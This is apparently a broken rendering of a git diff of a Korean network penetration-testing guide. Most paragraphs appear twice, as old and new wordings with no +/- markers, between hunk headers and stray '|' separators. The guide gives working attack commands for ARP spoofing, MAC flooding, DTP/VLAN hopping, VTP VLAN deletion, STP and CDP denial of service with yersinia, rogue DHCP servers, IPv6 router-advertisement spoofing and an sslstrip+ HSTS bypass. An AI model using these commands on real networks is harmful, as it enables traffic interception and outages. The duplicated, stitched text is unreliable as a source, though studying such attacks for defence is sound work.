- **UDP 패킷**을 전송하고 포트가 **닫혀** 있으면 _**ICMP 도달 불가**_ 응답을 확인합니다 (여러 경우에 ICMP가 **필터링**되어 포트가 닫혀 있거나 열려 있는지에 대한 정보를 받지 못할 수 있습니다).
|
||||
- **UDP 패킷**을 전송하고 포트가 **닫혀** 있으면 _**ICMP 도달 불가**_ 응답을 확인합니다 (여러 경우에 ICMP가 **필터링**되어 포트가 닫혀 있거나 열려 있는지에 대한 정보를 받을 수 없습니다).
|
||||
- **형식화된 데이터그램**을 전송하여 **서비스**(예: DNS, DHCP, TFTP 등, _nmap-payloads_에 나열된)로부터 응답을 유도합니다. **응답**을 받으면 포트가 **열려** 있습니다.
|
||||
|
||||
**Nmap**은 "-sV"를 사용하여 두 가지 옵션을 **혼합**합니다 (UDP 스캔은 매우 느립니다), 하지만 UDP 스캔이 TCP 스캔보다 느리다는 점에 유의하세요:
|
||||
**Nmap**은 "-sV"를 사용하여 두 가지 옵션을 **혼합**합니다 (UDP 스캔은 매우 느립니다), 하지만 UDP 스캔이 TCP 스캔보다 느리다는 점에 유의하십시오:
|
||||
```bash
|
||||
# Check if any of the most common udp services is running
|
||||
udp-proto-scanner.pl <IP>
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP 스캔
|
||||
|
||||
**SCTP (스트림 제어 전송 프로토콜)**은 **TCP (전송 제어 프로토콜)** 및 **UDP (사용자 데이터그램 프로토콜)**와 함께 사용되도록 설계되었습니다. 그 주요 목적은 IP 네트워크를 통해 전화 데이터의 전송을 용이하게 하여 **신호 시스템 7 (SS7)**에서 발견되는 많은 신뢰성 기능을 반영하는 것입니다. **SCTP**는 SS7 신호를 IP 네트워크를 통해 전송하는 것을 목표로 하는 **SIGTRAN** 프로토콜 패밀리의 핵심 구성 요소입니다.
|
||||
**SCTP (스트림 제어 전송 프로토콜)**는 **TCP (전송 제어 프로토콜)** 및 **UDP (사용자 데이터그램 프로토콜)**와 함께 사용되도록 설계되었습니다. 그 주요 목적은 IP 네트워크를 통해 전화 데이터의 전송을 용이하게 하여 **신호 시스템 7 (SS7)**에서 발견되는 많은 신뢰성 기능을 반영하는 것입니다. **SCTP**는 SS7 신호를 IP 네트워크를 통해 전송하는 것을 목표로 하는 **SIGTRAN** 프로토콜 패밀리의 핵심 구성 요소입니다.
|
||||
|
||||
**SCTP**에 대한 지원은 **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, **VxWorks**와 같은 다양한 운영 체제에서 제공되며, 이는 통신 및 네트워킹 분야에서의 폭넓은 수용과 유용성을 나타냅니다.
|
||||
|
||||
@ -182,7 +182,7 @@ nmap-summary-esp.md
|
||||
|
||||
### 내부 IP 주소 공개
|
||||
|
||||
**잘못 구성된 라우터, 방화벽 및 네트워크 장치**는 때때로 **비공식 소스 주소**를 사용하여 네트워크 프로브에 응답합니다. **tcpdump**는 테스트 중에 개인 주소에서 수신된 패킷을 식별하는 데 사용할 수 있습니다. 특히 Kali Linux에서는 **eth2 인터페이스**에서 패킷을 캡처할 수 있으며, 이는 공용 인터넷에서 접근 가능합니다. NAT 또는 방화벽 뒤에 설정되어 있는 경우 이러한 패킷은 필터링될 가능성이 높다는 점에 유의해야 합니다.
|
||||
**잘못 구성된 라우터, 방화벽 및 네트워크 장치**는 때때로 **비공식 소스 주소**를 사용하여 네트워크 프로브에 응답합니다. **tcpdump**를 사용하여 테스트 중에 개인 주소에서 수신된 패킷을 식별할 수 있습니다. 특히 Kali Linux에서는 **eth2 인터페이스**에서 패킷을 캡처할 수 있으며, 이는 공용 인터넷에서 접근 가능합니다. NAT 또는 방화벽 뒤에 설정되어 있는 경우 이러한 패킷은 필터링될 가능성이 높다는 점에 유의해야 합니다.
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -194,7 +194,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
|
||||
스니핑을 통해 캡처된 프레임과 패킷을 검토하여 IP 범위, 서브넷 크기, MAC 주소 및 호스트 이름에 대한 세부 정보를 배울 수 있습니다. 네트워크가 잘못 구성되었거나 스위칭 패브릭이 스트레스를 받는 경우, 공격자는 수동 네트워크 스니핑을 통해 민감한 자료를 캡처할 수 있습니다.
|
||||
|
||||
스위치된 이더넷 네트워크가 제대로 구성된 경우, 브로드캐스트 프레임과 귀하의 MAC 주소로 전송되는 자료만 볼 수 있습니다.
|
||||
스위치된 이더넷 네트워크가 제대로 구성된 경우, 귀하는 브로드캐스트 프레임과 귀하의 MAC 주소로 전송되는 자료만 볼 수 있습니다.
|
||||
|
||||
### TCPDump
|
||||
```bash
|
||||
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM overflow
|
||||
|
||||
스위치의 CAM 테이블을 오버플로우하여 다양한 소스 MAC 주소로 많은 패킷을 전송합니다. CAM 테이블이 가득 차면 스위치는 허브처럼 동작하기 시작합니다(모든 트래픽을 브로드캐스트).
|
||||
스위치의 CAM 테이블을 오버플로우시키기 위해 다양한 소스 MAC 주소를 가진 많은 패킷을 전송합니다. CAM 테이블이 가득 차면 스위치는 허브처럼 동작하기 시작합니다(모든 트래픽을 브로드캐스트).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -260,7 +260,7 @@ macof -i <interface>
|
||||
|
||||
기본적으로 스위치 포트는 동적 자동 모드에서 작동하도록 설정되어 있으며, 이는 이웃 스위치에 의해 트렁킹을 시작할 준비가 되어 있음을 의미합니다. 보안 문제는 펜테스터나 공격자가 스위치에 연결하고 DTP Desirable 프레임을 전송하여 포트를 트렁크 모드로 강제할 때 발생합니다. 이 작업은 공격자가 STP 프레임 분석을 통해 VLAN을 열거하고 가상 인터페이스를 설정하여 VLAN 세분화를 우회할 수 있게 합니다.
|
||||
|
||||
많은 스위치에서 기본적으로 DTP가 존재하는 것은 적들이 스위치의 동작을 모방하여 모든 VLAN의 트래픽에 접근할 수 있도록 악용될 수 있습니다. 스크립트 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)는 인터페이스를 모니터링하는 데 사용되며, 스위치가 기본(Default), 트렁크(Trunk), 동적(Dynamic), 자동(Auto) 또는 액세스(Access) 모드에 있는지를 나타냅니다. 이 중 액세스 모드만이 VLAN 홉핑 공격에 면역이 있는 구성입니다. 이 도구는 스위치의 취약성 상태를 평가합니다.
|
||||
많은 스위치에서 기본적으로 DTP가 존재하는 것은 적대자가 스위치의 동작을 모방하여 모든 VLAN의 트래픽에 접근할 수 있도록 악용될 수 있습니다. 스크립트 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)는 인터페이스를 모니터링하는 데 사용되며, 스위치가 기본(Default), 트렁크(Trunk), 동적(Dynamic), 자동(Auto) 또는 액세스(Access) 모드에 있는지를 나타냅니다. 이 중 액세스 모드만이 VLAN 홉핑 공격에 면역이 있는 구성입니다. 이 도구는 스위치의 취약성 상태를 평가합니다.
|
||||
|
||||
네트워크 취약성이 확인되면, _**Yersinia**_ 도구를 사용하여 DTP 프로토콜을 통해 "트렁킹을 활성화"할 수 있으며, 이를 통해 모든 VLAN의 패킷을 관찰할 수 있습니다.
|
||||
```bash
|
||||
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
VLAN을 열거하기 위해 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 스크립트를 사용하여 DTP Desirable 프레임을 생성할 수도 있습니다. 어떤 상황에서도 스크립트를 중단하지 마십시오. DTP Desirable을 매 3초마다 주입합니다. **스위치에서 동적으로 생성된 트렁크 채널은 5분 동안만 유지됩니다. 5분 후에 트렁크가 끊어집니다.**
|
||||
VLAN을 열거하기 위해 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 스크립트를 사용하여 DTP Desirable 프레임을 생성할 수도 있습니다. 어떤 상황에서도 스크립트를 중단하지 마십시오. DTP Desirable을 매 3초마다 주입합니다. **스위치에서 동적으로 생성된 트렁크 채널은 5분 동안만 유지됩니다. 5분 후, 트렁크는 사라집니다.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -342,7 +342,7 @@ sendp(packet)
|
||||
```
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
스위치에 **직접 연결되어 있는 경우**, 네트워크 내에서 **VLAN 세분화를 우회할 수 있는 능력**이 있습니다. 포트를 **트렁크 모드로 전환**하고(트렁크라고도 함), 대상 VLAN의 ID로 가상 인터페이스를 생성한 후 IP 주소를 구성하면 됩니다. 주소를 동적으로 요청(DHCP)하거나 정적으로 구성할 수 있습니다. 상황에 따라 다릅니다.
|
||||
스위치에 **직접 연결되어 있는 경우**, 네트워크 내에서 **VLAN 세분화를 우회할 수 있는 능력**이 있습니다. 포트를 **트렁크 모드로 전환**하고(트렁크라고도 함), 대상 VLAN의 ID로 가상 인터페이스를 생성한 후 IP 주소를 구성하면 됩니다. 주소를 동적으로 요청(DHCP)하거나 정적으로 구성할 수 있습니다. 이는 경우에 따라 다릅니다.
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
특정 환경, 예를 들어 게스트 무선 네트워크에서는 **포트 격리(프라이빗 VLAN이라고도 함)** 설정이 구현되어 무선 액세스 포인트에 연결된 클라이언트가 서로 직접 통신하지 못하도록 합니다. 그러나 이러한 격리 조치를 우회할 수 있는 기술이 확인되었습니다. 이 기술은 네트워크 ACL의 부재 또는 잘못된 구성을 이용하여 IP 패킷이 라우터를 통해 같은 네트워크의 다른 클라이언트에 도달할 수 있도록 합니다.
|
||||
게스트 무선 네트워크와 같은 특정 환경에서는 **포트 격리(프라이빗 VLAN이라고도 함)** 설정이 구현되어 무선 액세스 포인트에 연결된 클라이언트가 서로 직접 통신하지 못하도록 합니다. 그러나 이러한 격리 조치를 우회할 수 있는 기술이 확인되었습니다. 이 기술은 네트워크 ACL의 부족 또는 잘못된 구성을 이용하여 IP 패킷이 라우터를 통해 같은 네트워크의 다른 클라이언트에 도달할 수 있도록 합니다.
|
||||
|
||||
공격은 **목표 클라이언트의 IP 주소를 포함하지만 라우터의 MAC 주소를 가진 패킷을 생성**하여 실행됩니다. 이로 인해 라우터는 패킷을 잘못 전달하여 목표 클라이언트에게 전송하게 됩니다. 이 접근 방식은 피해자가 접근할 수 있는 호스트를 제어하여 보안 결함을 이용하는 더블 태깅 공격에서 사용되는 방식과 유사합니다.
|
||||
공격은 **목표 클라이언트의 IP 주소를 포함하지만 라우터의 MAC 주소를 가진 패킷을 생성**하여 실행됩니다. 이로 인해 라우터는 패킷을 잘못 전달하여 목표 클라이언트에게 전송하게 됩니다. 이 접근 방식은 피해자가 접근할 수 있는 호스트를 제어하여 보안 결함을 악용하는 더블 태깅 공격에서 사용되는 방식과 유사합니다.
|
||||
|
||||
**공격의 주요 단계:**
|
||||
|
||||
1. **패킷 제작:** 목표 클라이언트의 IP 주소를 포함하되 라우터의 MAC 주소를 가진 패킷을 특별히 제작합니다.
|
||||
2. **라우터 동작 이용:** 제작된 패킷이 라우터로 전송되며, 구성으로 인해 패킷이 목표 클라이언트로 리디렉션되어 프라이빗 VLAN 설정에 의해 제공되는 격리를 우회합니다.
|
||||
2. **라우터 동작 악용:** 제작된 패킷이 라우터로 전송되며, 구성으로 인해 패킷이 목표 클라이언트로 리디렉션되어 프라이빗 VLAN 설정에 의해 제공되는 격리를 우회합니다.
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
@ -365,9 +365,9 @@ VTP (VLAN Trunking Protocol)는 VLAN 관리를 중앙 집중화합니다. 수정
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** VLAN을 관리하며, 생성, 삭제, 수정합니다. 도메인 구성원에게 VTP 공지를 방송합니다.
|
||||
- **VTP Client:** VTP 공지를 수신하여 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 수정이 제한됩니다.
|
||||
- **VTP Transparent:** VTP 업데이트에 참여하지 않지만 VTP 공지를 전달합니다. VTP 공격의 영향을 받지 않으며, 수정 번호는 항상 0으로 유지됩니다.
|
||||
- **VTP Server:** VLAN을 관리하며, 생성, 삭제, 수정합니다. 도메인 구성원에게 VTP 알림을 방송합니다.
|
||||
- **VTP Client:** VTP 알림을 수신하여 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 수정이 제한됩니다.
|
||||
- **VTP Transparent:** VTP 업데이트에 참여하지 않지만 VTP 알림을 전달합니다. VTP 공격의 영향을 받지 않으며, 수정 번호는 항상 0으로 유지됩니다.
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
@ -375,7 +375,7 @@ VTP (VLAN Trunking Protocol)는 VLAN 관리를 중앙 집중화합니다. 수정
|
||||
- **Subset Advertisement:** VLAN 구성 변경 후 전송됩니다.
|
||||
- **Advertisement Request:** VTP 클라이언트가 Summary Advertisement를 요청하기 위해 발행하며, 일반적으로 더 높은 구성 수정 번호를 감지한 후에 발생합니다.
|
||||
|
||||
VTP 취약점은 트렁크 포트를 통해서만 악용될 수 있으며, VTP 공지는 오직 트렁크 포트를 통해서만 순환합니다. DTP 공격 후 시나리오는 VTP로 전환될 수 있습니다. Yersinia와 같은 도구는 VTP 공격을 용이하게 하여 VLAN 데이터베이스를 삭제하고 네트워크를 효과적으로 중단시킬 수 있습니다.
|
||||
VTP 취약점은 트렁크 포트를 통해서만 악용될 수 있으며, VTP 알림은 오직 트렁크 포트를 통해서만 순환합니다. DTP 공격 후 시나리오는 VTP로 전환될 수 있습니다. Yersinia와 같은 도구는 VTP 공격을 용이하게 하여 VLAN 데이터베이스를 삭제하고 네트워크를 효과적으로 중단시킬 수 있습니다.
|
||||
|
||||
참고: 이 논의는 VTP 버전 1(VTPv1)에 관한 것입니다.
|
||||
````bash
|
||||
@ -389,7 +389,7 @@ Yersinia의 그래픽 모드에서 모든 VTP VLAN 삭제 옵션을 선택하여
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
많은 BPDUs TCP(Topology Change Notification) 또는 Conf(토폴로지가 생성될 때 전송되는 BPDUs)를 전송하면 스위치가 과부하되어 제대로 작동하지 않게 됩니다.
|
||||
많은 BPDUs TCP(토폴로지 변경 알림) 또는 Conf(토폴로지가 생성될 때 전송되는 BPDUs)를 전송하면 스위치가 과부하되어 제대로 작동하지 않게 됩니다.
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
@ -397,7 +397,7 @@ yersinia stp -attack 3
|
||||
```
|
||||
#### **STP TCP 공격**
|
||||
|
||||
TCP가 전송되면 스위치의 CAM 테이블은 15초 후에 삭제됩니다. 그런 다음, 이러한 종류의 패킷을 지속적으로 전송하면 CAM 테이블이 지속적으로 (또는 매 15초마다) 재시작되며, 재시작될 때 스위치는 허브처럼 동작합니다.
|
||||
TCP가 전송되면 스위치의 CAM 테이블은 15초 후에 삭제됩니다. 그런 다음, 이러한 종류의 패킷을 지속적으로 전송하면 CAM 테이블이 지속적으로 (또는 매 15초마다) 재시작되고, 재시작될 때 스위치는 허브처럼 동작합니다.
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
@ -405,7 +405,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
#### **STP 루트 공격**
|
||||
|
||||
공격자는 스위치의 동작을 시뮬레이션하여 네트워크의 STP 루트가 됩니다. 그런 다음, 더 많은 데이터가 그를 통해 전달됩니다. 이는 두 개의 서로 다른 스위치에 연결되어 있을 때 흥미롭습니다.\
|
||||
이는 **우선순위** 값이 실제 루트 스위치의 실제 우선순위보다 낮다고 말하는 BPDUs CONF 패킷을 전송함으로써 수행됩니다.
|
||||
이는 **우선순위** 값이 실제 루트 스위치의 실제 우선순위보다 낮다고 말하는 BPDUs CONF 패킷을 전송하여 수행됩니다.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
@ -431,7 +431,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
이 공격 동안 스위치의 CPU와 CDP 이웃 테이블은 심각하게 부담을 받으며, 과도한 자원 소비로 인해 종종 **“네트워크 마비”**라고 불리는 상황이 발생합니다.
|
||||
이 공격 동안 스위치의 CPU와 CDP 이웃 테이블이 심각하게 부담을 받아, 과도한 자원 소비로 인해 종종 **“네트워크 마비”**라고 불리는 상태에 이르게 됩니다.
|
||||
|
||||
#### CDP 임프ersonation 공격
|
||||
```bash
|
||||
@ -440,9 +440,9 @@ sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
[**scapy**](https://github.com/secdev/scapy/)를 사용할 수도 있습니다. `scapy/contrib` 패키지로 설치하는 것을 잊지 마세요.
|
||||
|
||||
### VoIP 공격 및 VoIP Hopper 도구
|
||||
### VoIP 공격 및 VoIP 호퍼 도구
|
||||
|
||||
IoT 장치와 점점 더 통합되는 VoIP 전화는 특별한 전화번호를 통해 문을 열거나 온도 조절기를 제어하는 기능을 제공합니다. 그러나 이러한 통합은 보안 위험을 초래할 수 있습니다.
|
||||
VoIP 전화는 IoT 장치와 점점 더 통합되어 있으며, 특별한 전화번호를 통해 문을 열거나 온도 조절기를 제어하는 기능을 제공합니다. 그러나 이러한 통합은 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
도구 [**voiphopper**](http://voiphopper.sourceforge.net)는 다양한 환경(Cisco, Avaya, Nortel, Alcatel-Lucent)에서 VoIP 전화를 에뮬레이트하도록 설계되었습니다. CDP, DHCP, LLDP-MED 및 802.1Q ARP와 같은 프로토콜을 사용하여 음성 네트워크의 VLAN ID를 발견합니다.
|
||||
|
||||
@ -454,10 +454,10 @@ IoT 장치와 점점 더 통합되는 VoIP 전화는 특별한 전화번호를
|
||||
|
||||
속도를 위해 선호되는 모드는 세 번째 모드입니다. 다음을 지정해야 합니다:
|
||||
|
||||
- 공격자의 네트워크 인터페이스 (`-i` 매개변수).
|
||||
- 에뮬레이트되는 VoIP 장치의 이름 (`-E` 매개변수), Cisco 명명 형식(예: MAC 주소 뒤에 SEP)을 준수해야 합니다.
|
||||
- 공격자의 네트워크 인터페이스(`-i` 매개변수).
|
||||
- 에뮬레이트되는 VoIP 장치의 이름(`-E` 매개변수), Cisco 명명 형식(예: MAC 주소 뒤에 SEP)을 준수해야 합니다.
|
||||
|
||||
기업 환경에서 기존 VoIP 장치를 모방하려면 다음을 수행할 수 있습니다:
|
||||
기업 환경에서 기존 VoIP 장치를 모방하기 위해 다음을 수행할 수 있습니다:
|
||||
|
||||
- 전화기의 MAC 라벨을 검사합니다.
|
||||
- 전화기의 디스플레이 설정을 탐색하여 모델 정보를 확인합니다.
|
||||
@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**DoS의 두 가지 유형**은 DHCP 서버에 대해 수행될 수 있습니다. 첫 번째는 **모든 가능한 IP 주소를 사용하기 위해 충분한 가짜 호스트를 시뮬레이션하는 것**입니다.\
|
||||
**두 가지 유형의 DoS**가 DHCP 서버에 대해 수행될 수 있습니다. 첫 번째는 **모든 가능한 IP 주소를 사용하기 위해 충분한 가짜 호스트를 시뮬레이션하는 것**입니다.\
|
||||
이 공격은 DHCP 서버의 응답을 볼 수 있고 프로토콜을 완료할 수 있을 때만 작동합니다 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). 예를 들어, **Wifi 네트워크에서는 이것이 불가능합니다**.
|
||||
|
||||
DHCP DoS를 수행하는 또 다른 방법은 **모든 가능한 IP를 소스 코드로 사용하여 DHCP-RELEASE 패킷을 보내는 것**입니다. 그러면 서버는 모든 사용자가 IP 사용을 마쳤다고 생각할 것입니다.
|
||||
@ -516,7 +516,7 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
- **DHCP 트래픽을 위한 인터페이스**: `-I eth1`을 사용하여 특정 네트워크 인터페이스에서 DHCP 트래픽을 수신합니다.
|
||||
- **WPAD 구성 주소**: `-w “http://10.0.0.100/wpad.dat”`를 사용하여 웹 트래픽 가로채기를 지원하는 WPAD 구성 주소를 설정합니다.
|
||||
- **기본 게이트웨이 IP 스푸핑**: 기본 게이트웨이 IP 주소를 스푸핑하기 위해 `-S`를 포함합니다.
|
||||
- **모든 DHCP 요청에 응답**: 모든 DHCP 요청에 응답하도록 서버를 설정하기 위해 `-R`을 포함하지만, 이는 소음이 많고 감지될 수 있다는 점에 유의해야 합니다.
|
||||
- **모든 DHCP 요청에 응답**: 모든 DHCP 요청에 응답하도록 서버를 설정하기 위해 `-R`을 포함하지만, 이는 소음이 많아 탐지될 수 있음을 유의해야 합니다.
|
||||
|
||||
이 옵션들을 올바르게 사용함으로써, 네트워크 트래픽을 효과적으로 가로채기 위한 악성 DHCP 서버를 설정할 수 있습니다.
|
||||
```python
|
||||
@ -549,18 +549,18 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
라우팅 정보 프로토콜(RIP)의 세 가지 버전이 존재하는 것으로 알려져 있습니다: RIP, RIPv2, 및 RIPng. RIP 및 RIPv2는 UDP를 사용하여 포트 520을 통해 피어에게 데이터그램을 전송하는 반면, RIPng는 IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트합니다. RIPv2는 MD5 인증을 지원합니다. 반면, RIPng는 기본 인증을 포함하지 않으며, 대신 선택적 IPsec AH 및 ESP 헤더에 의존합니다.
|
||||
라우팅 정보 프로토콜(RIP)의 세 가지 버전이 존재합니다: RIP, RIPv2, RIPng. RIP와 RIPv2는 UDP를 사용하여 포트 520을 통해 피어에게 데이터그램을 전송하며, RIPng는 IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트합니다. RIPv2는 MD5 인증을 지원합니다. 반면, RIPng는 기본 인증을 포함하지 않으며, 대신 IPv6 내에서 선택적 IPsec AH 및 ESP 헤더에 의존합니다.
|
||||
|
||||
- **RIP 및 RIPv2:** 포트 520에서 UDP 데이터그램을 통해 통신합니다.
|
||||
- **RIPng:** IPv6 멀티캐스트를 통해 데이터그램을 브로드캐스트하기 위해 UDP 포트 521을 사용합니다.
|
||||
|
||||
RIPv2는 MD5 인증을 지원하는 반면, RIPng는 기본 인증을 포함하지 않고 IPv6에서 IPsec AH 및 ESP 헤더에 의존합니다.
|
||||
RIPv2는 MD5 인증을 지원하지만 RIPng는 기본 인증을 포함하지 않으며, IPv6에서 IPsec AH 및 ESP 헤더에 의존합니다.
|
||||
|
||||
### EIGRP Attacks
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)**는 동적 라우팅 프로토콜입니다. **거리 벡터 프로토콜입니다.** **인증**이 없고 수동 인터페이스가 구성되지 않은 경우, **침입자**가 EIGRP 라우팅에 간섭하여 **라우팅 테이블 오염**을 초래할 수 있습니다. 또한, EIGRP 네트워크(즉, 자율 시스템)는 **평면이며 어떤 구역으로도 분할되지 않습니다**. **공격자가 경로를 주입하면**, 이 경로가 자율 EIGRP 시스템 전반에 **퍼질 가능성이 높습니다**.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)**는 동적 라우팅 프로토콜입니다. **거리 벡터 프로토콜입니다.** **인증**이 없고 수동 인터페이스가 구성되지 않은 경우, **침입자**가 EIGRP 라우팅에 간섭하고 **라우팅 테이블을 오염**시킬 수 있습니다. 또한, EIGRP 네트워크(즉, 자율 시스템)는 **평면이며 어떤 구역으로도 분할되지 않습니다**. **공격자가 경로를 주입하면**, 이 경로가 자율 EIGRP 시스템 전반에 **퍼질 가능성이 높습니다**.
|
||||
|
||||
EIGRP 시스템을 공격하려면 **합법적인 EIGRP 라우터와 이웃을 설정해야 하며**, 이는 기본 정찰에서 다양한 주입에 이르기까지 많은 가능성을 열어줍니다.
|
||||
EIGRP 시스템을 공격하려면 **합법적인 EIGRP 라우터와 이웃을 설정해야** 하며, 이는 기본 정찰에서 다양한 주입에 이르기까지 많은 가능성을 열어줍니다.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/)은 **BGP, OSPF, EIGRP, RIP 및 기타 프로토콜을 지원하는 가상 라우터를 구현할 수 있게 해줍니다.** 공격자의 시스템에 배포하기만 하면 실제로 라우팅 도메인에서 합법적인 라우터인 척할 수 있습니다.
|
||||
|
||||
@ -635,7 +635,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [LLMNR, NBT-NS 및 mDNS 스푸핑](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
DNS 조회가 실패할 때 로컬 호스트 해석을 위해 Microsoft 시스템은 **링크-로컬 멀티캐스트 이름 해석(LLMNR)** 및 **넷바이오스 이름 서비스(NBT-NS)**에 의존합니다. 유사하게, **Apple Bonjour** 및 **Linux 제로 구성** 구현은 네트워크 내 시스템을 발견하기 위해 **멀티캐스트 DNS(mDNS)**를 사용합니다. 이러한 프로토콜의 인증되지 않은 특성과 UDP를 통한 메시지 브로드캐스팅으로 인해 공격자는 사용자를 악성 서비스로 리디렉션하기 위해 이를 악용할 수 있습니다.
|
||||
DNS 조회가 실패할 때 로컬 호스트 해석을 위해 Microsoft 시스템은 **링크 로컬 멀티캐스트 이름 해석(LLMNR)** 및 **넷바이오스 이름 서비스(NBT-NS)**에 의존합니다. 유사하게, **Apple Bonjour** 및 **Linux 제로 구성** 구현은 네트워크 내 시스템을 발견하기 위해 **멀티캐스트 DNS(mDNS)**를 사용합니다. 이러한 프로토콜의 인증되지 않은 특성과 UDP를 통한 메시지 브로드캐스팅으로 인해 공격자는 사용자를 악성 서비스로 리디렉션하기 위해 이를 악용할 수 있습니다.
|
||||
|
||||
Responder를 사용하여 호스트가 검색하는 서비스를 가장하여 가짜 응답을 보낼 수 있습니다.\
|
||||
[Responder로 서비스를 가장하는 방법에 대한 더 많은 정보는 여기에서 확인하세요](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
@ -663,7 +663,7 @@ sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neigh
|
||||
```
|
||||
### IPv6 라우터 광고 스푸핑/플러딩
|
||||
|
||||
일부 운영 체제는 네트워크에서 전송된 RA 패킷으로부터 기본적으로 게이트웨이를 구성합니다. 공격자를 IPv6 라우터로 선언하려면 다음을 사용할 수 있습니다:
|
||||
일부 운영 체제는 네트워크에서 전송된 RA 패킷에서 기본적으로 게이트웨이를 구성합니다. 공격자를 IPv6 라우터로 선언하려면 다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
@ -697,18 +697,18 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
|
||||
### sslStrip+ 및 dns2proxy를 통한 HSTS 우회
|
||||
|
||||
**sslStrip+와 dns2proxy**의 **차이점**은 **sslStrip**에 비해 **예를 들어** _**www.facebook.com**_ **을** _**wwww.facebook.com**_ **로** **리디렉션**한다는 것입니다 (여기서 **추가된** "**w**"에 주목하세요) 그리고 **이 도메인의 주소를 공격자 IP로 설정**합니다. 이렇게 하면 **클라이언트**는 _**wwww.facebook.com**_ **(공격자)**에 **연결**하지만, 뒤에서는 **sslstrip+**가 **www.facebook.com**과의 **실제 연결**을 **유지**합니다.
|
||||
**sslStrip+와 dns2proxy**의 **차이점**은 **sslStrip**에 비해 **예를 들어** _**www.facebook.com**_ **을** _**wwww.facebook.com**_ **로** **리디렉션**한다는 것입니다 (여기서 **추가된** "**w**"에 주목하세요) 그리고 **이 도메인의 주소를 공격자의 IP로 설정**합니다. 이렇게 하면 **클라이언트**는 _**wwww.facebook.com**_ **(공격자)**에 **연결**하지만, 뒤에서는 **sslstrip+**가 **www.facebook.com**과의 **실제 연결**을 **유지**합니다.
|
||||
|
||||
이 기술의 **목표**는 **HSTS를 피하는 것**입니다. 왜냐하면 _**wwww**.facebook.com_ **은** 브라우저의 **캐시에** 저장되지 않기 때문에 브라우저는 **HTTP로 facebook 인증을 수행하도록 속일 수 있습니다**.\
|
||||
이 공격을 수행하기 위해서는 피해자가 처음에 [http://www.faceook.com](http://www.faceook.com)에 접근해야 하며, https가 아니어야 합니다. 이는 http 페이지 내의 링크를 수정하여 수행할 수 있습니다.
|
||||
|
||||
더 많은 정보는 [여기](https://www.bettercap.org/legacy/#hsts-bypass), [여기](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 및 [여기](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)에서 확인하세요.
|
||||
|
||||
